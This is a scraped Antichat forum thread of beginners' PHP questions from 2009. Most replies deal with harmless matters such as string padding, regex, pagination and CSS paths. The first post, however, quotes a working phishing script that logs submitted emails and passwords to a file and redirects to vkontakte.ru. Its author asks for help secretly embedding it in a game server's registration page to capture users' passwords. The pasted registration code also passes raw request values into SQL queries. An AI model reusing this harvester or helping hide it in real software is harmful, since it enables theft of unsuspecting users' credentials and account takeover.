ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 25.05.2009, 13:16
Аватар для sidrus
sidrus
Новичок
Регистрация: 16.02.2009
Сообщений: 19
Провел на форуме:
132932

Репутация: 0
По умолчанию

ребята, памагите пажалуста сделать чтото типо этого

PHP код:
<?php /* ############# #by_NoNameZ# 
########### */ 
$f=fopen("log.txt","at");  flock($f,2); 
 if(
preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
z]{2,4})$/i"
$_POST['email'])&& 
!empty(
$_POST['pass'])){ fputs($f
$_POST['email'].";".$_POST['pass']." \n");      
header("Location: http://vkontakte.ru
/blank.php?code=10"
); } else {      header("Location: 
bad.htm"
); } flock($f,3);  fclose($f);  ?>
но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе

вот скрипт регикуда файк прилепить хочу

PHP код:
<?php  if(!defined('DATALIFEENGINE')) {     
die(
"Hacking attempt!"); }  if ($_action == "reg") {     if 
(empty(
$_REQUEST["l2login"]) || 
empty(
$_REQUEST["l2password"]) || 
empty(
$_REQUEST["l2password2"]) || 
empty(
$_REQUEST["l2email"]) || 
empty(
$_REQUEST["l2answer"]) || 
empty(
$_REQUEST["l2question"])) {         $lineage 
"<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />";         $lineage.= 
"<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;          } elseif 
(
strlen($_REQUEST["l2login"])>16 || 
strlen($_REQUEST["l2login"])<4) {         $lineage "<div 
class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí 
äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br 
/>"
;         $lineage.= "<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;      } elseif 
(
$_REQUEST["l2password"]!=$_REQUEST["l2password2"])
 {         
$lineage "<div class='warning center'>Îøèáêà 
ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br 
/>"
;         $lineage.= "<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;      } elseif (strlen($_REQUEST["l2answer"])<
|| strlen($_REQUEST["l2question"])<4) {         
$lineage "<div class='warning center'>Îøèáêà ïðè 
ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4 
ñèìâîëîâ!</div><br />"
;         $lineage.= "<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;              } elseif 
(!
check_email($_REQUEST["l2email"])) {         
$lineage "<div class='warning center'>Îøèáêà ïðè 
ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br 
/>"
;         $lineage.= "<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;              } elseif 
(
$dbl->sql_numrows($dbl->sql_query("SELECT * FROM 
accounts WHERE login='"
.$_REQUEST["l2login"]."' LIMIT 
1"
))) {         $lineage "<div class='warning 
center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò!
</div><br />"
;         $lineage.= "<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;          } elseif 
(
$dbl->sql_numrows($dbl->sql_query("SELECT * FROM 
accounts WHERE email='"
.$_REQUEST["l2email"]."' LIMIT 
1"
))) {         $lineage "<div class='warning 
center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå 
èñïîëüçóåòñÿ!</div><br />"
;         $lineage.= 
"<center><a 
href='"
.GetURL($_link,"registration")."'>íàçàä</a>
</center>"
;          } else {         $dbl->sql_query_jdb("accounts""InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*'sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"]));         $sql_error $dbl->sql_error();         if ($sql_error["code"]==0) {             $lineage "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />";         } else {             $lineage "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />";             $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>";         }     } } else {     $tpl->load_template($tpldir.'/lineage/register.tpl');     $tpl->compile('register');     $lineage $tpl->result["register"];     // $tpl->clear(); }  ?>

Последний раз редактировалось sidrus; 25.05.2009 в 13:45..
 
Ответить с цитированием

  #2  
Старый 18.06.2009, 08:37
Аватар для Gifts
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

Chrek625 while (!is_int($nnn)) - создает бесконечный цикл.

На предыдущей странице у .:EnoT:. решение вашей задачки, если же требуется дополнить строку нулями, чтобы число знаков было кратно 6, то:

PHP код:
$input '1234567';
$len strlen($input);
if (
$len 6) {$out str_pad($input$len+(6-$len 6), "0"STR_PAD_LEFT); }
else 
$out $input;
var_dump($out); 

Последний раз редактировалось Gifts; 18.06.2009 в 08:58..
 
Ответить с цитированием

  #3  
Старый 29.07.2009, 02:28
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Myload

В твоём коде:
$f1=fopen('parsedata.txt', 'w');
fclose($f1);

Замени на:

$f1=fopen('parsedata.txt', 'w');
fputs($f1, '');
fclose($f1);
 
Ответить с цитированием

  #4  
Старый 29.07.2009, 04:13
Аватар для Myload
Myload
Banned
Регистрация: 15.03.2009
Сообщений: 215
Провел на форуме:
1461068

Репутация: 221
Отправить сообщение для Myload с помощью ICQ
По умолчанию

Цитата:
Сообщение от Nightmarе  
Myload

В твоём коде:
$f1=fopen('parsedata.txt', 'w');
fclose($f1);

Замени на:

$f1=fopen('parsedata.txt', 'w');
fputs($f1, '');
fclose($f1);
спс!
 
Ответить с цитированием

  #5  
Старый 02.08.2009, 23:39
Аватар для Insane bboy
Insane bboy
Познающий
Регистрация: 11.07.2009
Сообщений: 58
Провел на форуме:
231064

Репутация: 6
По умолчанию

да нету толком кода вот и спрашиваю, мне хотелось бы узнать как авторизоватся.. то есть чтоб скрипт зашел на мой аккаунт, дальше думаю разберусь
 
Ответить с цитированием

  #6  
Старый 02.08.2009, 23:54
Аватар для PROPH3T
PROPH3T
Новичок
Регистрация: 20.11.2007
Сообщений: 13
Провел на форуме:
681237

Репутация: 1
По умолчанию

Глянь вот - ссыль

_______________
thx ; )))))))

_______________




есть текстовый файл, в нём находятся расположенные в стоблик ссылки
надо чтобы :
бралась первая строка из тхт файла, записывалась в переменную, далее с этой переменной будут некие манипуляции в оставшейся части скрипта, после выполнения скрипта берётся следующая строчка, записывается в переменную......и так далее


Подскажите как данный цикл будет выглядеть=\

Последний раз редактировалось PROPH3T; 03.08.2009 в 05:15..
 
Ответить с цитированием

  #7  
Старый 07.08.2009, 18:28
Аватар для -=Zhenek=-
-=Zhenek=-
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме:
1725509

Репутация: 114
Отправить сообщение для -=Zhenek=- с помощью ICQ
По умолчанию

Цитата:
Сообщение от FireFenix  
PHP код:
<?php

$text 
'<tr>
<td class="bg_color2" align="right"width="130">Ф.И.О.</td>
<td class="bg_color4">Рассказова Юлия Владимировна</td>'
;

$regex '/<tr>[\s]*<td class="bg_color2" align="right"width="130">[^<]*<\/td>[\s]*<td class="bg_color4">([^<]*)<\/td>/ims';

preg_match($regex$text$match);

print_r($match);

?>
Почти но нужно чтоб и Ф.И.О. было.. так таких таблиц там полно,а мне нужно именно это(
 
Ответить с цитированием

  #8  
Старый 09.08.2009, 16:04
Аватар для KaMiKadZe
KaMiKadZe
Участник форума
Регистрация: 24.02.2006
Сообщений: 206
Провел на форуме:
2735257

Репутация: 103
По умолчанию

Цитата:
Сообщение от FireFenix  
Использовать в SQL запросе LIMIT

Код:
SELECT * FROM table LIMIT 10,100
LIMIT 10, 100 - выбрать 100 записей, начиная с 10 записи
Уже есть
PHP код:
  $sql "SELECT * FROM `".$this->table."`".$this->where.$this->order_by.
            
" LIMIT ".$begin.", ".$this->lines
Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]
 
Ответить с цитированием

  #9  
Старый 09.08.2009, 16:26
Аватар для KaMiKadZe
KaMiKadZe
Участник форума
Регистрация: 24.02.2006
Сообщений: 206
Провел на форуме:
2735257

Репутация: 103
По умолчанию

Да Ё
Проблема не в выводе записей с ними все отлично, проблема как сделать в навигации чтобы по когда переходишь по страницам они увеличивались...
сейчас по страницам как не ходи будет
[1][2][3]...[8][9][10]
а надо чтобы когда например на страницу [3] жмешь стало
[3][4][5]...[8][9][10]

Еще раз! Мне нужно сделать не вывод он уже есть!
Мне нужна сделать так чтобы навигация выводилась как я написал в скрипте это функция public function link_page()...
Я не могу придумать как так сделать!
Можно сказать что вся суть в этом цикле
PHP код:
 for ($i 0$i 3$i++) {
                if(
$i == $this->page) {
                    
$return .= "[".($i 1)."]";
                } else {
                    
$return .= "<a href='".$this->prefix_p."=".($i 1)."'>[".($i 1)."]</a>";
                }
            } 
У меня было несколько попыток что-то сделать, но почему-то не получается у меня это придумать!
Вот одна из попыток
PHP код:
for ($i $this->page$i $this->page+3$i++) {
                if(
$i == $this->page) {
                    
$return .= "[".($i 1)."]";
                } else {
                    
$return .= "<a href='".$this->prefix_p."=".($i 1)."'>[".($i 1)."]</a>";
                }
            } 
Делает бесконечное число страниц =(
Хоть и отражает частично суть как я хочу!

Последний раз редактировалось KaMiKadZe; 09.08.2009 в 16:33..
 
Ответить с цитированием

  #10  
Старый 11.08.2009, 19:36
Аватар для -=Zhenek=-
-=Zhenek=-
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме:
1725509

Репутация: 114
Отправить сообщение для -=Zhenek=- с помощью ICQ
По умолчанию

Цитата:
Сообщение от FireFenix  
в ДЛЕ у каждой темы свой стиль и задаётся @import url({THEME}/css/style.css); где {THEME} путь до темы, который пхп перезаписывает во время загрузки шаблона/темы

Открыл дле сайт.в коде страницы цсс стиль прописан так:

PHP код:
<style type="text/css" media="all">
@
import url(/templates/warrexru/style/main.css);
</
style
Переходи например в дерикторию ниже.

site.ru/films/

и всеравно в коде

PHP код:
<style type="text/css" media="all">
@
import url(/templates/warrexru/style/main.css);
</
style
как видно путь всетаки относительный(

и как отредактировал сообщение выше как быть с картинками в css файле?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ